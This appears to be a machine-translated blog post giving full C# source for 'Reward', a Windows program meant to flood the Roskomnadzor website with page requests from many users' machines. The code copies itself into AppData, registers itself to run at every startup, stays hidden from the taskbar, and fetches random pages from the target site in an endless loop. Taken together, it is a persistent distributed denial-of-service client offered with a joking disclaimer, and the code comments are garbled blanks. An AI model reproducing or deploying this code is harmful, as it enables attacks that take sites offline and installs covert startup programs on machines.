📜 ⬆️ ⬇️

Reward: Gratitude from the heart

One fine day, in search of a recently released film, I discovered that distribution on all sites was deleted at the request of Roskomnadzor, and no one had yet poured it on Rutreker.

A little upset, I decided to console myself with writing a desktop application that should help every Internet user to express his gratitude to his favorite site, for example, the Roskomnadzor site (for keeping laws and protecting our security).
Well, what could be more enjoyable than mass visits to your site?

What I did look under the cut.

I decided to go in the most honest way - to imitate Habraeffect (Imagine how much joy is waiting for someone?). To begin with, we will create an empty project in Visual Studio and specify its type in the project settings: Windows Application .
')
Our application will simply load a random page from the site every 15-20 seconds and select a link from it for the next download. If, say, about a hundred thousand people wish to thank Roskomnadzor, Habraeffekt is inevitable. With thoughts of a good deed, let's get down to implementation.

I tried to describe the actions of the program and therefore part of the article is in the comments to the code.

All the main work will be performed by an instance of the RandomBrowser class using several external extension methods of the String class:

class RandomBrowser { private readonly WebClient Downoader = new WebClient(); private readonly Random Randomizer = new Random(); // ,   public readonly String DomainName; public readonly String DomainPage; //     , //        public String NextUrl { private set; get; } //       NextUrl public void Request() { try { //         //      String.GetHtmlLinks List<String> links = Downoader.DownloadString(NextUrl).GetHtmlLinks(DomainName); //   ,      , //      NextUrl = links.Count > 0 ? links[Randomizer.Next(links.Count)] : DomainPage; } //        //       catch (Exception) { NextUrl = DomainPage; } } //    public RandomBrowser(String startPage) { //        //      String.GetDomainName DomainName = startPage?.GetDomainName(); DomainPage = @"http://www." + DomainName; NextUrl = startPage; } } 

Since we are writing an application for as many users as possible, we will have to build it under .NET Framework 4, since this option is guaranteed to run on most machines with Windows 7, 8, 10. Therefore, for all download operations we will have to use the WebClient class.

And here are our expanding String methods:

 static class Extensions { //    private static readonly String[] Prefixes = new String[] { "https://", "http://", "www." }; //       public static String GetDomainName(this String url) { foreach (String i in Prefixes) { if (url.IndexOf(i) == 0) { url = url.Remove(0, i.Length); } } Int32 subdomain = url.IndexOf('/'); return subdomain == -1 ? url : url.Remove(subdomain); } //   html-        //        public static List<String> GetHtmlLinks(this String page, String domainName = null) { //         List<String> result = new List<String>(); Regex reHref = new Regex(@"(?inx) <a \s [^>]* href \s* = \s* (?<q> ['""] ) (?<url> [^""]+ ) \k<q> [^>]* >"); foreach (Match i in reHref.Matches(page)) { result.Add(i.Groups["url"].ToString()); } //        ,     return domainName == null ? result : new List<String>(result.Where(i => i.GetDomainName() == domainName)); } } 

And at last, we will complete creation of our application, I called it Reward (a reward in the form of similarity of a habraeffect), writing of an entry point:

 class Program { static void Main() { //      const String appName = "Reward"; String appDirectory = $@"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\{appName}"; const String fileName = appName + ".exe"; String filePath = $@"{appDirectory}\{fileName}"; //     ,        RegistryKey autorun = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", true); String regValue = autorun.GetValue(appName) as String; //      //       (-   as) //       if (regValue == null || regValue != filePath) { //      //     : MessageBox.Show("      !", "-"); //      if (!File.Exists(filePath)) { //       if (!Directory.Exists(appDirectory)) { Directory.CreateDirectory(appDirectory); } //       //    , //   , //      . // ,     "AppData/Roaming", //          String[] args = Environment.GetCommandLineArgs(); File.Copy( args.Length > 0 ? args[0] : $@"{Environment.CurrentDirectory}\{fileName}", filePath); } //    autorun.SetValue(appName, filePath); //       "AppData/Roaming" Process.Start(filePath); //    , //       return; } //     : RandomBrowser browser = new RandomBrowser(@"http://www.."); Random randomizer = new Random(); while (true) { //            //  , //  ""        15 , //    Thread.Sleep(TimeSpan.FromSeconds(15 + randomizer.Next(10))); browser.Request(); } } } 

So, we got an imperceptible in taskbar, constantly hanging in the process and consuming application on my desktop 3 MB of RAM. Its main disadvantages are that as many people as possible, the difficulties of distribution, and possibly problems with UAC must use it to obtain tangible results.

I don’t earn my living by programming; this is more of my hobby for my free time.

Waiting for a squall of degrading destructive criticism, and, if you are lucky enough to hear, suggestions for improvement.

This article is not a call to go and give thanks to any sites this way, and all the code was written solely for fun.

Source: https://habr.com/ru/post/320996/


All Articles